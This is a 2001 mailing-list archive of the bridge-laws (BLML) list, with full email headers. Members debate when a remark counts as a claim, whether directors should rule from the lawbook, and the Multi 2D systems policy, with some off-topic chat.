Fri Jan 26 15:39:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q4cfi23124 for bridge-laws-outgoing; Fri, 26 Jan 2001 15:38:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f228.law3.hotmail.com [209.185.241.228]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q4cZt23118 for ; Fri, 26 Jan 2001 15:38:36 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 25 Jan 2001 20:38:28 -0800 Received: from 172.159.131.8 by lw3fd.law3.hotmail.msn.com with HTTP; Fri, 26 Jan 2001 04:38:27 GMT X-Originating-IP: [172.159.131.8] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 20:38:27 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 26 Jan 2001 04:38:28.0045 (UTC) FILETIME=[D3B6D7D0:01C08751] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: David Stevenson > Incidentally, what would you think if someone was descrived as >Pickwickian? I'd think, "Cool, a new word." I checked its definition in a dictionary, but that doesn't help me much. Is in meant to be a slight, a rather harsh insult, or neither? -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 16:19:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q5J1825460 for bridge-laws-outgoing; Fri, 26 Jan 2001 16:19:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q5Irt25453 for ; Fri, 26 Jan 2001 16:18:54 +1100 (EST) Received: from hirschd (user-vcauggu.dsl.mindspring.com [216.175.66.30]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id AAA20300 for ; Fri, 26 Jan 2001 00:18:49 -0500 (EST) Message-ID: <015401c08757$75121e00$0200000a@mindspring.com> From: "Hirsch Davis" To: References: Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 00:18:45 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: To: ; ; Sent: Thursday, January 25, 2001 3:52 PM Subject: RE: [BLML] Claim? > > Craig wrote: > Or perhaps John was expressing surprise that all three directors > owned a copy, since so many bad club directors never seem to > consult it when giving a ruling. :-)) > ________________________________________________________________ > I hope good club directors are able to give most of their > rulings without consulting the lawbook...)) > > Laval Du Breuil > Quebec City > Alas, a big problem in bridge is that too many directors, club or otherwise, DO give most of their rulings without consulting the lawbook. Regards, Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 16:40:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q5eWb25935 for bridge-laws-outgoing; Fri, 26 Jan 2001 16:40:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q5ePt25928 for ; Fri, 26 Jan 2001 16:40:25 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 21:41:15 -0800 Message-ID: <033d01c0875a$746bc480$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 21:30:33 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" > > What we used to do here was to come to a reasonable consensus. When I first came on BLML, I thought the goal was to find a reasonable consensus. No, I was told, not true. The job of BLML is to discuss, not to reach a consensus. Guess who told me that. > > Perhaps you could tell me why that is no longer allowed. > It was never followed. > We are no longer allowed to use reason - well, when I do I get very > nasty personal remarks. One person's reason is another person's absurdity. It's the way people are, don't take offense. > > Incidentally, what would you think if someone was described as > Pickwickian? > Don't take it personally, David. I'm sure no offense was intended. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 16:50:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q5ocO26172 for bridge-laws-outgoing; Fri, 26 Jan 2001 16:50:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q5oSt26161 for ; Fri, 26 Jan 2001 16:50:28 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 21:51:19 -0800 Message-ID: <036101c0875b$dc5f9840$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> <007d01c08653$6e6b30a0$a310f7a5@james> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 21:41:29 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Craig Senior writes > >If everyone within earshot interpreted it not to mean a claim > >then there is not a problem. But if his opponents interpret it > >as a claim, the law is on their side, and he has just stepped in > >a poodle. > > What happens if the opponents knew it was not a claim, did not > interpret it as a claim, but being charming people call the TD anyway > and say it was a claim? > We would be in a mess if opponents' interpretations of the Laws carried any weight. Neither their interpretation nor what they say matters. It's up to the TD to decide if a statement constitutes a claim. If s/he says it's a claim, it's a claim. The opponents' opinion is irrelevant. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 16:50:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q5ocj26174 for bridge-laws-outgoing; Fri, 26 Jan 2001 16:50:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q5oTt26163 for ; Fri, 26 Jan 2001 16:50:29 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 21:51:20 -0800 Message-ID: <036201c0875b$dcc44d80$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <3.0.6.32.20010119112619.007e4210@ux1.cts.eiu.edu> <3.0.6.32.20010119214642.007b13a0@eiu.edu> <3.0.6.32.20010123144656.007c53b0@ux1.cts.eiu.edu> <5XiEnRA4HEc6EwXG@blakjak.demon.co.uk> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 21:48:19 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" > Roger Pewick writes > > > >From: Grant Sterling > > > >snip > > > >| >a] words said out of innocence can have unintended consequences, so can > >| >words not intended in innocence > > > >This seems to go to an important issue: > > > >| Sure. And, as I said, there are ample legal remedies in when > >| opponents are damaged by those words, innocently intended or not > > > >To assert that he is entitled to say the words because the opponents are > >entitled to redress if it damages them imo is a bad attitude to take. This > >places the opponents in the situation perpetrated upon them to go through > >the 'socially unacceptable' process of requesting ethics redress instead of > >claim redress and places upon them a burden to wrestle with whether to ask > >for redress. For [civil minded, in particular] players, to put the onus on > >them is an unfair burden in order to save the ego of the irresponsible. > >. > >May I suggest that a player is not entitled to say such words unless he > >intends to claim. So if he feels compelled to speak, let him be careful to > >not breach the claim. > > Oh, come off it. Why is everyone trying to bend this around to a > specific thing? > > Let us see where Roger's argument is leading. > > According to the purists > > "Oh god, partner we are going to make twelve tricks!" is a claim. > > "Oh god, partner we have missed it, and I am going to make at least > twelve tricks here!" is not a claim. > > Now Roger is arguing that the first sentence *must* be treated as a > claim because making such comments is deleterious to the game of bridge. > Are you suggesting the first sentence is deleterious and the second > sentence is not? > > If you think that it is bad that players make such comments then you > stop them, but not by some backhanded method of treating it as something > which it does not seem to be so as a result you are only dealing with a > fraction of such comments. > > If you believe that comments of that type are a violation of the > Proprieties then issue a PP for violating the Proprieties. > > Any method by you that is designed to stop the first of the above > comments and not the second is absurd. > David is right. They should not be treated differently, as they are both statements "to the effect" that 12 tricks will be taken. Both are claims. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 17:10:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q6AiN26660 for bridge-laws-outgoing; Fri, 26 Jan 2001 17:10:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q6Abt26654 for ; Fri, 26 Jan 2001 17:10:38 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 22:11:27 -0800 Message-ID: <036f01c0875e$ac7ca7a0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <001f01c08641$f164df90$a310f7a5@james> <017a01c0866e$ab6632a0$9a9c1e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 22:04:56 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" < > Marvin L. French writes > > > >From: "Craig Senior" > > > >> I take it then that you favour having the Laws state that this > >> is not a claim. You have made some worthwhile arguments toward > >> that end. But that does not change the fact that the law as > >> presently written makes this a claim. I would agree that either > >> education or change is desirable. While 99.9999xx % do not > >> disagree with either of us, you and I agree that we should not > >> blindside players. The real violation (if any) seems to be one > >> of humourous conduct...and perhaps we don't want to say $&^#$%$# > >> em if they can't take a joke. I could easily live with this NOT > >> being a claim...if the law read differently...so long as we > >> punished any nefarious jokester who was seeking to disconcert > >> his opponents into defensive error. As you have cogently pointed > >> out, there are ample other means with which to do this. > >> > >I don't see those means as "ample." It is very difficult to determine that > >a defensive error can be blamed on declarer's casual remark to the effect > >that s/he will win a specific number of tricks. Better to prevent such > >remarks in the first place. > > So prevent them then. The Laws are there. Yes. L68A, the only one with teeth. > But to say that of > comments about the possibility of making a number of tricks we are going > to treat 10% of them as claims to try to get rid of such remarks, rather > than dealing with 100% of them through the Proprieties seems a silly > approach. If 10% are to the effect that a specific number of tricks will be won, 100% of those are claims. They are all treated equally. Think of errors in using the bidding box, as when a wrong bid is pulled. 10% of those errors are treated as calls that cannot be withdrawn, going by certain criteria, while 90% are treated as inadvertencies that ought to be avoided. The principle involved applies to many of the Laws: If a defined line is crossed, it's an infraction. If not, no infraction, even if the actions differ to a small degree. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 17:21:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q6KqW26916 for bridge-laws-outgoing; Fri, 26 Jan 2001 17:20:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q6Kkt26912 for ; Fri, 26 Jan 2001 17:20:47 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 22:21:38 -0800 Message-ID: <037d01c08760$18459f40$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.6.32.20010125221537.00c4d830@sujja.com> Subject: Re: [BLML] WBF Systems Policy Date: Thu, 25 Jan 2001 22:11:59 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Kent" > > I believe the relevant passage to be "as described in the WBF Conventions > Booklet". > > As quoted from DWS's page http://www.blakjak.demon.co.uk/wbf_cnbk.htm > > "Multi 2D > > An opening 2D shows one of three types > > i.Weak two in a major suit > ii.A strong balanced hand of a defined range > iii.Strong three-suited hand > This doesn't quite answer my question. Does the major suit for a weak two have to be unknown, unspecified, or can it be a specific suit by partnership agreement? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 17:31:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q6V2o27166 for bridge-laws-outgoing; Fri, 26 Jan 2001 17:31:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q6Uut27162 for ; Fri, 26 Jan 2001 17:30:57 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 22:31:48 -0800 Message-ID: <038201c08761$83dc3c40$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 22:23:40 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Todd Zimnoch" > >From: David Stevenson > > Incidentally, what would you think if someone was described as > >Pickwickian? > > I'd think, "Cool, a new word." I checked its definition in a > dictionary, but that doesn't help me much. Is in meant to be a slight, a > rather harsh insult, or neither? > Mr Pickwick was the principal character in *The Pickwick Papers*, by Charles Dickens. He used or understood words or expressions in odd ways. People who do that sort of thing, intentionally or unintentionally, are being Pickwickian. Like Mrs. Malaprop, Pickwick was not a bad sort, so I would consider the adjective to be jocular, not mean or serious. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 21:05:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QA3DN24964 for bridge-laws-outgoing; Fri, 26 Jan 2001 21:03:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QA36t24960 for ; Fri, 26 Jan 2001 21:03:07 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id LAA05460; Fri, 26 Jan 2001 11:00:20 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA27452; Fri, 26 Jan 2001 11:02:46 +0100 (MET) for Message-Id: <3.0.6.32.20010126111514.008358d0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 26 Jan 2001 11:15:14 +0100 To: bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? In-Reply-To: <008901c08709$4926d130$1e11f7a5@james> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:59 25/01/01 -0500, Craig Senior wrote: >As did Leo at both the Polo Grounds and Ebbets Field. > Would you all please choose _inter_national sports when making subtle allusions ? Everybody wants to participate to the presumed general hilarity. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 21:11:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QABFb25157 for bridge-laws-outgoing; Fri, 26 Jan 2001 21:11:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QAB7t25150 for ; Fri, 26 Jan 2001 21:11:08 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id LAA25411; Fri, 26 Jan 2001 11:06:54 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA03814; Fri, 26 Jan 2001 11:10:49 +0100 (MET) for Message-Id: <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 26 Jan 2001 11:23:17 +0100 To: "Marvin L. French" , From: alain gottcheiner Subject: Re: [BLML] WBF Systems Policy In-Reply-To: <02d101c08725$b581db60$9a9c1e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:18 25/01/01 -0800, Marvin L. French wrote: >If a 2D opening shows a weak two in hearts, is that not acceptable when "a >weak two in either major" is acceptable? It says either major, and hearts >is a major suit, isn't it? The ACBL says no, not acceptable, it must be a >weak two in an unspecified major. After I pointed out the ambiguity of >"either," they changed it to "an unspecified" last year. AG : in the European systems rules, an opening 2D which is either a weak 2H or one of several strong hands isn't a BSC either. Because there is an anchor suit. Thus, no problem. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 22:53:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QBqxp05559 for bridge-laws-outgoing; Fri, 26 Jan 2001 22:52:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Mailhub1.qub.ac.uk (isaiah.qub.ac.uk [143.117.143.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QBqot05553 for ; Fri, 26 Jan 2001 22:52:51 +1100 (EST) Received: from fujin.qub.ac.uk by Mailhub1.qub.ac.uk with SMTP-QUB (XT-PP) with ESMTP; Fri, 26 Jan 2001 11:52:05 +0000 Received: from DRHILL.qub.ac.uk ([143.117.47.245]) by fujin.qub.ac.uk (8.8.8+Sun/8.8.8) with SMTP id LAA28808; Fri, 26 Jan 2001 11:51:52 GMT From: Alan Hill To: alain gottcheiner Cc: bridge-laws@rgb.anu.edu.au Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? In-Reply-To: <3.0.6.32.20010126111514.008358d0@pop.ulb.ac.be> Message-ID: Date: Fri, 26 Jan 2001 11:49:56 +0000 (GMT Standard Time) X-Mailer: Simeon for Win32 Version 4.1.5 Build (43) X-Authentication: IMSP MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As someone very very fond of his cricket who has seen the Cubs at Wrigley field I strongly recommend a visit. It will change your view of Baseball for life. As my first message I hope you will tell me if I have done everything right. Alan Hill Belfast, N.Ireland On Fri, 26 Jan 2001 11:15:14 +0100 alain gottcheiner wrote: > At 14:59 25/01/01 -0500, Craig Senior wrote: > >As did Leo at both the Polo Grounds and Ebbets Field. > > > > Would you all please choose _inter_national sports when making subtle > allusions ? Everybody wants to participate to the presumed general hilarity. > > A. > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ ---------------------- Alan Hill -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 01:44:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QEhbZ02313 for bridge-laws-outgoing; Sat, 27 Jan 2001 01:43:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QEhTt02306 for ; Sat, 27 Jan 2001 01:43:30 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id JAA11571; Fri, 26 Jan 2001 09:43:23 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA223660202; Fri, 26 Jan 2001 09:43:22 -0500 X-Openmail-Hops: 1 Date: Fri, 26 Jan 2001 09:43:20 -0500 Message-Id: Subject: RE: [BLML] Claim? From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au, mfrench1@san.rr.com Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----> > > Craig wrote: > Or perhaps John was expressing surprise that all three directors > owned a copy, since so many bad club directors never seem to > consult it when giving a ruling. :-)) > ________________________________________________________________ > I hope good club directors are able to give most of their > rulings without consulting the lawbook...)) >_L Du Breuil ____________________________________________________________________ mfrench wrote: It is unwise to do so, even if the Laws have been memorized exactly. The TD should carry the Laws to the table and read the applicable Law from it. Doing so gives players a comfortable feeling that they are being treated in accordance with the Laws when a harsh penalty is dealt out. ________________________________________________________________________ _ Your opinion but not mine. I have seen many club directors always having their lawbook in hand but hardly finding the right page... IMHO players fell more confortable if the director is able to rule most of the time without the lawbook. When called, I use to go to the table without the lawbook. Most of the time, it is simple and can be quite sure of my ruling. Players are confident and play goes on. When it is a more complicated issue or when a player seems to doubt, I then get the lawbook and show them the pertinent law (trying to say the number of the law before opening the book...). Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:00:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QF0aC02696 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:00:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QF0Ot02683 for ; Sat, 27 Jan 2001 02:00:24 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14MAMF-000O4x-0W for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 15:00:14 +0000 Message-ID: Date: Fri, 26 Jan 2001 02:11:17 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Laval_DUBREUIL@UQSS.UQuebec.CA writes >I hope good club directors are able to give most of their >rulings without consulting the lawbook...)) The EBU *strongly* advise Club TDs not to do this because [1] They get it wrong too often [2] It does not give the customers confidence. I remember at an Open Pairs at Brighton one of the senior TDs took the mickey out of me fro reading a BOOT from the Law book. So next ruling I did not read it. It was an insufficient bid - and I got it wrong! There are exceptions. If a TD really understands the revoke Laws he might do better not to read the bit about how the number of tricks is calculated. The main exception is the OLOOT. The EBU tells its Club TDs that this must be learnt not read. On a club TD course marks are always deducted for not reading from the Law book, except for the OLOOT. Every student has to do the OLOOT on his own to one of the tutors. In my view, a good club TD does not rule from memory. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:00:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QF0b202697 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:00:38 +1100 